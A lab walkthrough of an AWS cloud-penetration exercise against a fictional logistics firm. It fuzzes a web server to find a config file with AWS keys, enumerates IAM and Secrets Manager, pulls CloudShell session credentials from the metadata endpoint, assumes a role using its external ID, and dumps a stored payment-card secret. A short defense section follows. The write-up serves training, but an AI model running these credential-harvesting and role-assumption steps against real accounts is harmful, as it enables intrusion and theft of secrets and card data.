Post

Assume Privileged Role with External ID

Assume Privileged Role with External ID

Scenario

Huge Logistics, a global force in the logistics and shipping industry, has reached out to your firm for a comprehensive security evaluation spanning both their on-premises and cloud setups. Early reconnaissance pointed out the IP address 52.0.51.234 as part of their digital footprint. Your mission is clear: use this IP as your entry point, navigate laterally through their system, and determine potential areas of impact. This isn’t just a test of their defenses, but a test of your skill to find weak spots in a vast network. Time to dive in and uncover what lies beneath!

Walkthrough

We are given IP address

1

Only port 80 is open, which hosts website

There’s nothing interesting in the source and nothing in the functionality that worth looking. Let’s fuzz directories and files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt:FUZZ -u http://52.0.51.234/FUZZ -e .conf,.txt,.json,.xml,.yml,.yaml,.env

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://52.0.51.234/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
 :: Extensions       : .conf .txt .json .xml .yml .yaml .env 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.html                   [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 191ms]
.html.conf              [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 192ms]
.html.xml               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 194ms]
.html.json              [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 194ms]
.html.yml               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 192ms]
.html.txt               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 196ms]
.html.yaml              [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 194ms]
.html.env               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 194ms]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 195ms]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 201ms]
.htm.json               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 232ms]
.htm.xml                [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 232ms]
.htm.txt                [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 236ms]
.htm                    [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 237ms]
.htm.yml                [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 232ms]
.htm.conf               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 237ms]
.htm.env                [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 232ms]
.htm.yaml               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 232ms]
img                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 190ms]
config.json             [Status: 200, Size: 832, Words: 141, Lines: 21, Duration: 213ms]

There was nothing interesting in directories, but we found config.json, which contains AWS keys.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ curl http://52.0.51.234/config.json
{"aws": {
        "accessKeyID": "AKIAWHEOTHRFYM6CAHHG",
        "secretAccessKey": "<REDACTED>",
        "region": "us-east-1",
        "bucket": "hl-data-download",
        "endpoint": "https://s3.amazonaws.com"
    },
    "serverSettings": {
        "port": 443,
        "timeout": 18000000
    },
    "oauthSettings": {
        "authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
        "tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
        "clientID": "1012aBcD3456EfGh",
        "clientSecret": "aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j",
        "callbackURL": "https://portal.huge-logistics/callback",
        "userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
    }
}

Keys belong to data-bot principal

1
2
3
4
5
6
└─$ aws sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRF7MLFMRGYH",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/data-bot"
}

We can check the bucket mentioned in the confing we found, but it contains a lot of transaction files and nothing interesting

1
2
3
4
5
6
7
└─$ aws s3 ls hl-data-download
2023-08-06 03:56:58       5200 LOG-1-TRANSACT.csv
2023-08-06 03:57:05       5200 LOG-10-TRANSACT.csv
2023-08-06 03:58:04       5200 LOG-100-TRANSACT.csv
2023-08-06 03:57:05       5200 LOG-11-TRANSACT.csv
2023-08-06 03:57:06       5200 LOG-12-TRANSACT.csv
<SNIP>

Now, we can use aws-enumerator. Authenticate with aws-enumerator cred. Then start enumeration

1
2
3
4
5
6
7
8
9
└─$ aws-enumerator enum -services all
Message:  Successful APPMESH: 0 / 1
Message:  Successful AMPLIFY: 0 / 1
Message:  Successful APPSYNC: 0 / 1
<SNIP>
Message:  Successful SECRETSMANAGER: 1 / 2
<SNIP>
Message:  Successful STS: 2 / 2
<SNIP>

It seems like we have ListSecrets permission

1
2
3
└─$ aws-enumerator dump -services secretsmanager
<SNIP>
ListSecrets

We can list the secrets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ aws secretsmanager list-secrets --query 'SecretList[*].[Name, Description, ARN]' --output json
[
    [
        "employee-database-admin",
        "Admin access to MySQL employee database",
        "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-admin-Bs8G8Z"
    ],
    [
        "employee-database",
        "Access to MySQL employee database",
        "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-rpkQvl"
    ],
    [
        "ext/cost-optimization",
        "Allow external partner to access cost optimization user and Huge Logistics resources",
        "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4"
    ],
    [
        "billing/hl-default-payment",
        "Access to the default payment card for Huge Logistics",
        "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
    ]
]

We couldn’t access all secrets, except for ext/cost-optimization

1
2
3
4
5
6
7
8
9
10
11
12
└─$ aws secretsmanager get-secret-value --secret-id ext/cost-optimization
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
    "Name": "ext/cost-optimization",
    "VersionId": "f7d6ae91-5afd-4a53-93b9-92ee74d8469c",
    "SecretString": "{\"Username\":\"ext-cost-user\",\"Password\":\"<REDACTED>\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1691183968.512
}

We can login to aws console using credentials

We have access to Cloud shell

We can try to get AWS CLI credentials using this console

1
TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
1
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"

After running aws configure and setting keys, we also need to set token via aws configure set aws_session_token "<token>"

1
2
3
4
5
6
└─$ aws sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRFTNCWM7FHT",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/ext-cost-user"
}

We can’t run aws-enumerator enum -services all. But we can list policies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ aws iam list-attached-user-policies --user-name ext-cost-user
{
    "AttachedPolicies": [
        {
            "PolicyName": "ExtCloudShell",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtCloudShell"
        },
        {
            "PolicyName": "ExtPolicyTest",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
        }
    ]
}
     

We have ExtCloudShell and ExtPolicyTest policies. Let’s check ExtPolicyTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest
{
    "Policy": {
        "PolicyName": "ExtPolicyTest",
        "PolicyId": "ANPAWHEOTHRF7772VGA5J",
        "Arn": "arn:aws:iam::427648302155:policy/ExtPolicyTest",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T21:47:26Z",
        "UpdateDate": "2023-08-06T20:23:42Z",
        "Tags": []
    }
}

Let’s pull the latest version. Seems like we have role named ExternalCostOpimizeAccess and our user has permissions to list and view policies for defined in Resource section objects

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─$ aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetRole",
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:GetUserPolicy",
                        "iam:ListAttachedRolePolicies",
                        "iam:ListAttachedUserPolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::427648302155:policy/ExtPolicyTest",
                        "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
                        "arn:aws:iam::427648302155:policy/Payment",
                        "arn:aws:iam::427648302155:user/ext-cost-user"
                    ]
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-06T20:23:42Z"
    }
}

Let’s check ExternalCostOpimizeAccess role, which we can assume using current user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
└─$ aws iam get-role --role-name ExternalCostOpimizeAccess
{
    "Role": {
        "Path": "/",
        "RoleName": "ExternalCostOpimizeAccess",
        "RoleId": "AROAWHEOTHRFZP3NQR7WN",
        "Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
        "CreateDate": "2023-08-04T21:09:30Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "StringEquals": {
                            "sts:ExternalId": "37911"
                        }
                    }
                }
            ]
        },
        "Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources",
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2025-08-23T06:16:45Z",
            "Region": "us-east-1"
        }
    }
}

If we list policies attached to the role, we find Payment policy

1
2
3
4
5
6
7
8
9
10
└─$ aws iam list-attached-role-policies --role-name ExternalCostOpimizeAccess
{
    "AttachedPolicies": [
        {
            "PolicyName": "Payment",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
        }
    ]
}

There are 2 versions of the policy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Payment
{
    "Policy": {
        "PolicyName": "Payment",
        "PolicyId": "ANPAWHEOTHRFZCZIMJSVW",
        "Arn": "arn:aws:iam::427648302155:policy/Payment",
        "Path": "/",
        "DefaultVersionId": "v2",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T22:03:41Z",
        "UpdateDate": "2023-08-04T22:34:19Z",
        "Tags": []
    }
}

Let’s pull the latest one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "secretsmanager:GetSecretValue",
                        "secretsmanager:DescribeSecret",
                        "secretsmanager:ListSecretVersionIds"
                    ],
                    "Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "secretsmanager:ListSecrets",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-04T22:34:19Z"
    }
}

Let’s assume the role (we have to set --external-id 37911 since it was defined in the role policy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ aws sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name ExternalCostOpimizeAccess --external-id 37911
{
    "Credentials": {
        "AccessKeyId": "ASIAWHEOTHRFT2TXIM5X",
        "SecretAccessKey": "<REDACTED>",
        "SessionToken": "<REDACTED>",
        "Expiration": "2025-08-26T18:48:31Z"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
        "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
    }
}

After setting the keys and session token we can confirm that we have successfully assumed the role

1
2
3
4
5
6
7
└─$ aws sts get-caller-identity
{
    "UserId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
}

Let’s get payment details that we saw above

1
2
3
4
5
6
7
8
9
10
11
12
└─$ aws secretsmanager get-secret-value --secret-id billing/hl-default-payment
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
    "Name": "billing/hl-default-payment",
    "VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
    "SecretString": "{\"Card Brand\":\"VISA\",\"Card Number\":\"4180-5677-2810-4227\",\"Holder Name\":\"Michael Hayes\",\"CVV/CVV2\":\"839\",\"Card Expiry\":\"5/2026\",\"Flag\":\"<REDACTED>\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1691188419.867
}

Defense

This part is from lab’s defense section

It’s recommended to store configuration files outside of the world-readable web root. Even if there are no links to the file in the web root, it’s likely only a matter of time before discovers it’

Make sure to review the policies and test them. In this case, there is no need for data-bot IAM user to have access to the ext-cost-user IAM user used by the third party cost-optimization partner.

This post is licensed under CC BY 4.0 by the author.